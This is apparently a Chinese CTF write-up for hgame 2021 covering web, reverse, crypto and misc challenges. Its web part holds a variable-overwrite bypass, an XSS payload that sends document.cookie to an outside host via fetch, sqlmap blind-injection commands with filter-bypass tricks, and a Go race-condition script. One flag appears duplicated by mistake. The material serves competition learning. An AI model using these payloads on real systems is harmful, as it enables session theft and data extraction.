web
LazyDogR4U [150]
只有一个登录页,一开始尝试常见的 .index.php.swp、index.php~ 等备份文件无果,最后用扫描工具才得到 www.zip
之后审计 php 源码,可知题目要求以管理员的身份登录,跳转至 /flag.php 可以查看 flag
// ...[OMITTED]...
if($_SESSION['username'] === 'admin'){
echo "<h3 style='color: white'>admin将于今日获取自己忠实的flag</h3>";
echo "<h3 style='color: white'>$flag</h3>";
}else{
// ...[OMITTED]...
可以发现引入的 “lazy.php” 存在变量覆盖漏洞
<?php
$filter = ["SESSION", "SEVER", "COOKIE", "GLOBALS"];
// 直接注册所有变量,这样我就能少打字力,芜湖~
foreach(array('_GET','_POST') as $_request){
foreach ($$_request as $_k => $_v){
foreach ($filter as $youBadBad){
$_k = str_replace($youBadBad, '', $_k);
}
${$_k} = $_v;
}
}
// ...[OMITTED]...
所以目标是将 $_SESSION['username']
的值覆盖为 “admin”
虽然进行了关键词过滤,但由于没有进行递归替换,“SESSSESSIONION” 就会变成 “SESSION”
直接请求 /flag.php?_SESSSESSIONION[username]=admin
即可得到 flag
Flag: hgame{R4u_15_4-l@zy~DOg}
Post to zuckonit [250]
普通的留言板 XSS 题,如果提交中含有 on*
关键词,结果就会被倒序,且 “on*” 会变成 “*on”(即再次倒序后会变成 “no*”,无法直接通过提交倒序的 payload 来利用)
经过尝试后发现在字符串开头加上 on* 关键词即可产生倒序的 “后续字符串 + no*” 的结果
构造 on* + 目标 payload 的倒序字符串即可产生正序的 payload + no*
由于 “http” 会被过滤,利用 HTML 的 “Protocol-relative URL” 特性不指定 URL 协议即可绕过
<!--> 目标 payload <-->
<img src=1 onerror=fetch('//[REDACTED]/?='+btoa(document.cookie))>
<!--> payload <-->
onerror>))eikooc.tnemucod(aotb+'=?/]DETCADER[//'(hctef=rorreno 1=crs gmi<
正确发布 payload 之后爆破出要求的 MD5 substring 验证码提交给后台 bot 即可打到 cookie
Flag: hgame{X5s_t0_GEt_@dm1n's_cOokies.}
200OK!! [200]
请求头中的 “Status” 存在布尔型 SQL 盲注漏洞,如 Status: 3' and '1'='1'#
其中空格会被过滤,可以使用 “/**/” 等注释替换绕过;SELECT(select)、WHERE 等关键词会被过滤,可以使用 SeLeCt、WhErE、SELSELECTECT 等大小写混合或双写绕过
可以使用 sqlmap 简化盲注工作
$ sqlmap -u "https://[REDACTED]/server.php" --header "Status: *" --prefix "3'" --suffix "#" --tamper "randomcase,space2comment" -A "" --dbms mysql --string "HTTP 401 Unauthorized" --technique=B --sql-shell --threads=8
# ...[OMITTED]...
[69:69:69] [INFO] (custom) HEADER parameter 'Status #1*' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[69:69:69] [INFO] checking if the injection point on (custom) HEADER parameter 'Status #1*' is a false positive
(custom) HEADER parameter 'Status #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 10 HTTP(s) requests:
---
Parameter: Status #1* ((custom) HEADER)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: 3' AND 114514=114514#
---
# ...[OMITTED]...
sql-shell> SELECT table_name FROM information_schema.tables WHERE table_schema=database()
# ...[OMITTED]...
[*] f1111111144444444444g
[*] status
sql-shell> SELECT column_name FROM information_schema.columns WHERE table_name='f1111111144444444444g'
# ...[OMITTED]...
[*] ffffff14gggggg
sql-shell> SELECT ffffff14gggggg FROM f1111111144444444444g
# ...[OMITTED]...
Flag: hgame{Con9raTu1ati0n5+yoU_FXXK~Up-tH3,5Q1!!=)}
Liki 的生日礼物 [200]
注册新账号登录之后有 ¥2000 余额,每 ¥40 余额可以买 1 张兑换券,然而按要求兑换一台 switch 需要 52 张兑换券
测试发现不存在整数溢出漏洞,猜测有条件竞争漏洞
使用网上抄来的 python 脚本(ThreadPoolExecutor)发现无论如何只能买到 50 张,原因不明
用 golang 重写后就可以买到 60 张左右的兑换券了
package main
import (
"fmt"
"net/http"
"strings"
"sync"
)
const (
urlBuy = "https://[REDACTED]/API/?m=buy"
contentType = "application/x-www-form-urlencoded; charset=UTF-8"
postBody = "amount=1"
cookieSessionId = "PHPSESSID=d41d8cd98f00b204e9800998ec"
)
var client = http.Client{}
func main() {
count := 100
var wg sync.WaitGroup
wg.Add(count)
for i := 0; i < count; i++ {
go func() {
httpRequest()
wg.Done()
}()
}
wg.Wait()
fmt.Println("done!")
}
func httpRequest() {
req, err := http.NewRequest(http.MethodPost, urlBuy, strings.NewReader(postBody))
if err != nil {
panic(err)
}
req.Header.Set("Cookie", cookieSessionId)
req.Header.Set("Content-Type", contentType)
_, err = client.Do(req)
if err != nil {
panic(err)
}
}
其实用 BurpSuite 中的 intruder 功能就可以了
Flag: hgame{Con9raTu1ati0n5+yoU_FXXK~Up-tH3,5Q1!!=)}
reverse
ezApk [200]
简单的 Android APK 逆向,使用 JEB 等工具反编译后可以查看 Java 源码
分析一下可知基本逻辑如下:
- 计算资源文件中的
key (0x7F0E002B)
字符串的 MD5,作为 IV - 计算
key
的 SHA256,作为密钥 - 使用得到的 IV 和密钥,对输入的字符串进行 AES CBC 加密
- 将得到的密文进行 base64 编码,与资源文件中的
flag (0x7F0E0027)
字符串进行比较,检查是否一致
通过在线工具或如下脚本即可解密
from base64 import b64decode, b64encode
from hashlib import md5, sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
enc = b'EEB23sI1Wd9Gvhvk1sgWyQZhjilnYwCi5au1guzOaIg5dMAj9qPA7lnIyVoPSdRY' # R.string.flag (0x7F0E0027)
key = b'A_HIDDEN_KEY' # R.string.key (0x7F0E002B)
BS = 16
enc = b64decode(enc)
iv = md5(key).digest()
# print(b64encode(iv))
key = sha256(key).digest()
# print(b64encode(key))
cipher = AES.new(key, AES.MODE_CBC, iv)
print(unpad(cipher.decrypt(enc), BS))
Flag: hgame{jUst_A_3z4pp_write_in_k07l1n}
helloRe2 [250]
使用 IDA 反编译,可知需要输入两个密码并分别进行校验
输入 Password 1 后首先检查其字符串长度是否为 16,然后检查是否与 xmmword_4030F0
一致
之后会通过 IsDebuggerPresent()
来检查是否正被调试,如果不在被调试则对共享内存中的一些值进行异或,作为之后 AES 加密使用的 key
之后程序会新建一个进程,输入 Password 2 后首先检查其字符串长度是否为 16,然后使用共享内存中的 key 和 IV 对其进行 AES CBC 加密,检查结果(32 字节)的高 128 位(16 字节)是否与 xmmword_4030E0
一致
由于不太熟悉调试器的使用,使用 frida 直接插桩拦截 BCryptGenerateSymmetricKey
得到密钥,拦截 BCryptEncrypt
得到 IV
const BCryptGenerateSymmetricKey = Module.findExportByName('Bcrypt.dll', 'BCryptGenerateSymmetricKey')
const BCryptEncrypt = Module.findExportByName('Bcrypt.dll', 'BCryptEncrypt')
Interceptor.attach(ptr(BCryptGenerateSymmetricKey), {
onEnter: args => {
console.log('BCryptGenerateSymmetricKey() invoked')
console.log('Key (pbSecret): ' + buf2hex(Memory.readByteArray(args[4], 16)))
}
})
Interceptor.attach(ptr(BCryptEncrypt), {
onEnter: args => {
console.log('BCryptEncrypt() invoked')
console.log('Plain text: ' + buf2hex(Memory.readByteArray(args[1], 16)))
console.log('IV: ' + buf2hex(Memory.readByteArray(args[4], 16)))
this.enc_addr = args[6]
this.enc_size = parseInt(args[7])
},
onLeave: _ => {
console.log('Encrypted data: ' + buf2hex(Memory.readByteArray(this.enc_addr, this.enc_size)))
}
})
function buf2hex(buffer) {
return Array.prototype.map.call(new Uint8Array(buffer), n => n.toString(16).padStart(2, '0')).join('')
}
X:\helloRe2> helloRe2.exe
Hello Re Player
input password 1:
2b0c5e6a3a20b189
password 1 correct !
input password 2:
2b0c5e6a3a20b189
password 2 error
...[OMITTED]...
X:\helloRe2> tasklist | findstr "helloRe2"
helloRe2.exe 3904 Console 1 4,860 K # 第一个进程
helloRe2.exe 8660 Console 1 4,460 K # 第二个进程,将 frida 附加至此
X:\helloRe2> frida -l hook.js -p 8660
[Local::PID::8660]-> BCryptGenerateSymmetricKey() invoked
Key (pbSecret): 32633260316030663b68383b6e3c3636
BCryptEncrypt() invoked
Plain text: 32623063356536613361323062313839
IV: 000102030405060708090a0b0c0d0e0f
Encrypted data:
BCryptEncrypt() invoked
Plain text: 32623063356536613361323062313839
IV: 000102030405060708090a0b0c0d0e0f
Encrypted data: 21f376a28433b3aceebf8958202da39c2a66905895d500e9107b9125561dbbff
Process terminated
可见使用的 key 为 “0x32633260316030663b68383b6e3c3636”,IV 为 “0x000102030405060708090a0b0c0d0e0f”
使用在线工具或如下脚本即可解密出 xmmword_4030E0
的明文
from Crypto.Cipher import AES
enc = bytes.fromhex('7EF602D5625F4E3F65797607D9FEFEB7')[::-1]
key = bytes.fromhex('32633260316030663b68383b6e3c3636')
iv = bytes.fromhex('000102030405060708090a0b0c0d0e0f')
cipher = AES.new(key, AES.MODE_CBC, iv)
print(cipher.decrypt(enc))
Flag: hgame{2b0c5e6a3a20b189_7a4ad6c5671fb313}
fake_debugger beta [150]
题目只给了一个 socket 连接地址,nc 连接后可以输入 flag 字符串并发送空格进行单步调试,可以打印出 EAX、EBX、ECX、ZF 四个寄存器的值
经过尝试可以发现 flag 长度需要大于 10,否则在第一步就提示 “Short flag!”
分别输入 “AAAAAAAAAAA”('A'*11)、“AAAAAAAAAAAA”('A'*12)、“BAAAAAAAAAA”('B'+'A'*10) 进行调试,可以发现在每步调试中:
ECX 的值为当前字符在输入字符串中的位置
当 ZF = 0 时(奇数步),EAX 的值为字符的 ASCII 码与 EBX 的值异或的结果(如 ord('A') ^ 23 = 86),EBX 的值与输入无关,即在每一步中总为固定的值(如第一步中为 23)
当 ZF = 1 时(偶数步),EAX 的值与之前相同,EBX 的值为另一个固定的值(如第二步中为 127);当 EAX = EBX 时可以到下一步,否则提示 “Wrong Flag! Try again!” 并退出
所以可以根据每个奇数步中 EBX 的值和下一步中 EBX 的值来算出正确的字符,ord(CHAR) = EBX ^ EBX'
from pwn import *
import re
data_pattern = re.compile(r'eax: (\d+)\nebx: (\d+)\necx: (\d+)\nzf: ([01])\n')
def step(io):
io.sendline(' ')
resp = io.recv()
if resp != b'\n':
print('Got flag: ' + ''.join(flag))
exit(0)
resp += io.recvuntil('INFO--------------')
data = data_pattern.search(resp.decode())
return int(data.groups()[0]), int(data.groups()[1]), int(data.groups()[2]), int(data.groups()[3])
flag = list('?' * 11)
while True:
print(''.join(flag))
io = remote('[REDACTED]', 9999)
io.recvuntil('now!')
io.sendline(''.join(flag))
io.recvuntil('INFO--------------')
while True:
try:
eax, ebx_1, ecx, zf = step(io)
eax, ebx_2, ecx, zf = step(io)
print(f'{eax}, ', end='')
if zf == 1 and eax != ebx_2:
flag[ecx] = chr(ebx_1 ^ ebx_2)
break
except EOFError:
flag.append('?')
break
io.close()
Flag: hgame{You_Kn0w_debuGg3r}
crypto
signin [150]
题目中随机生成两个 1024 位质数 $a$ 与 $p$,对明文 $m$ 计算出密文 c = a ** p * m % p
,则
$c \equiv a^p \cdot m \pmod{p} \equiv a^{p-1} \cdot a \cdot m \pmod {p} \equiv a \cdot m \pmod {p}$
所以 $m\equiv c \cdot a^{-1} \pmod p$
可以在 python 中通过 m = pow(c, invmod(a, p), p)
求出 $m$
Flag: hgame{M0du1@r_m4th+1s^th3~ba5is-Of=cRypt0!!}
gcd or more? [200]
根据密文的计算中指数为 2,可知不是普通的 RSA 而是其衍生的 Rabin
算法,可以通过如下脚本解出明文
from gmpy2 import invert
from libnum import n2s
cipher = ...[OMITTED]...
p = ...[OMITTED]...
q = ...[OMITTED]...
N = p * q
inv_p = invert(p, q)
inv_q = invert(q, p)
mp = pow(cipher, (p + 1) // 4, p)
mq = pow(cipher, (q + 1) // 4, q)
#a = (inv_p * p * mq + inv_q * q * mp) % N
#b = N - int(a)
c = (inv_p * p * mq - inv_q * q * mp) % N
d = N - int(c)
print(n2s(d))
Flag: hgame{3xgCd~i5_re4l1y+e@sy^r1ght?}
WhitegiveRSA [150]
普通的 RSA,已知 N、e、c,在 factordb 找出 N 的因数 p 与 q,直接使用 ius/rsatool 或 Ganapati/RsaCtfTool 计算即可
Flag: hgame{w0w~yOU_kNoW+R5@!}
The Password [250]
因为 $z = x \oplus ROT(x, a) \oplus ROT(x, b)$ 是双射的,又因为 $z_i = y_i \oplus n_i$,所以可以由 $z_i$ 求出 $x_i$
通过如下程序即可求出每组数据的 $x$,参考自此处 [存档]
#include <iostream>
#include <cstdint>
using namespace std;
static inline uint64_t rot(const uint64_t x, uint8_t i) {
return (x << i) | (x >> (64 - i));
}
uint64_t xor_rot2_inv(uint64_t x, uint8_t a, uint8_t b) {
x = x ^ rot(x, a) ^ rot(x, b); a = (a + a) & 0x3f; b = (b + b) & 0x3f; // t0 = M x
x = x ^ rot(x, a) ^ rot(x, b); a = (a + a) & 0x3f; b = (b + b) & 0x3f; // t1 = M^2 t0
x = x ^ rot(x, a) ^ rot(x, b); a = (a + a) & 0x3f; b = (b + b) & 0x3f; // t2 = M^4 t1
x = x ^ rot(x, a) ^ rot(x, b); a = (a + a) & 0x3f; b = (b + b) & 0x3f; // t3 = M^8 t2
x = x ^ rot(x, a) ^ rot(x, b); a = (a + a) & 0x3f; b = (b + b) & 0x3f; // t4 = M^16 t3
x = x ^ rot(x, a) ^ rot(x, b); a = (a + a) & 0x3f; b = (b + b) & 0x3f; // t5 = M^32 t4
x = x ^ rot(x, a) ^ rot(x, b); // x' = M^64 t5
return x;
}
int main() {
cout << xor_rot2_inv(15789597796041222200u ^ 14750142427529922u, -7, 3) << endl;
cout << xor_rot2_inv(8279663441787235887u ^ 2802568775308984u, -4, 9) << endl;
cout << xor_rot2_inv(9666438290109535850u ^ 15697145971486341u, -2, 5) << endl;
cout << xor_rot2_inv(10529571502219113153u ^ 9110411034859362u, -6, 13) << endl;
cout << xor_rot2_inv(8020289479524135048u ^ 4092084344173014u, -8, -16) << endl;
cout << xor_rot2_inv(10914636017953100490u ^ 2242282628961085u, -5, 7) << endl;
cout << xor_rot2_inv(4622436850708129231u ^ 10750832281632461u, -2, 5) << endl;
return 0;
}
之后使用 python 的 bytes.fromhex(f'{x_i:x}')
或 libnum 中的 n2s(x_i)
即可转为字符串,拼接即为 flag
Flag: hgame{l1ne0r_a1gebr0&is@1mpor10n1^1n$crypto}
misc
Tools [100]
隐写工具套娃题,每层有一个加密的 7z 压缩包和一个含隐写信息的 JPG 图片,其 EXIF 备注中有所用隐写工具的密码参数
解压题目压缩包后得到 F5.7z 和 Matryoshka.jpg,通过 java Extract Matryoshka.jpg -p '!LyJJ9bi&M7E72*JyD'
解出 7z 密码
解压后得到 Steghide.7z 和 01.jpg,通过 steghide.exe extract -p 'A7SL9nHRJXLh@$EbE8' -sf 01.jpg
解出 7z 密码
解压后得到 Outguess.7z 和 02.jpg,通过 outguess -k 'z0GFieYAee%gdf0%lF' -r 02.jpg output.txt
解出 7z 密码
解压后得到 JPHS.7z 和 03.jpg,通过 JPHSwin
工具解出 7z 密码
解压后得到 04.jpg
将 01 至 04.jpg 拼合成二维码,扫描得到 flag
Flag: hgame{Taowa_is_N0T_g00d_but_T001s_is_Useful}
Telegraph:1601 6639 3459 3134 0892 [150]
MP3 音频隐写,查看频谱图可以看到提示 “850 Hz”,在 1:10 - 1:33 有一段摩斯电码的音频,分离出 830~880 Hz 即可清楚地看出长短,解码后即为 flag
Flag: hgame{4G00DS0NGBUTN0T4G00DMAN039310KI}
Hallucigenia [200]
使用 Stegsolve 可以在 Red plane 0
看到隐写的二维码,扫描得到一个 base64 编码字符串
解码后可以看到末尾有 GNP\x89
,结合题目描述 “我们不仅弄错了他的上下,还颠倒了它的左右。”,将解码后的字节倒序保存成 PNG 文件
打开后可以看到垂直镜像后的 flag
Flag: hgame{tenchi_souzou_dezain_bu}
DNS [100]
使用 Wireshark 审计数据包,在 No. 62 可以看到对 flag.hgame2021.cf
的 A 记录查询,访问 http://flag.hgame2021.cf 提示 “Flag is here but not here”
查询 TXT 记录,得到 flag
Flag: hgame{D0main_N4me_5ystem}
0 Comments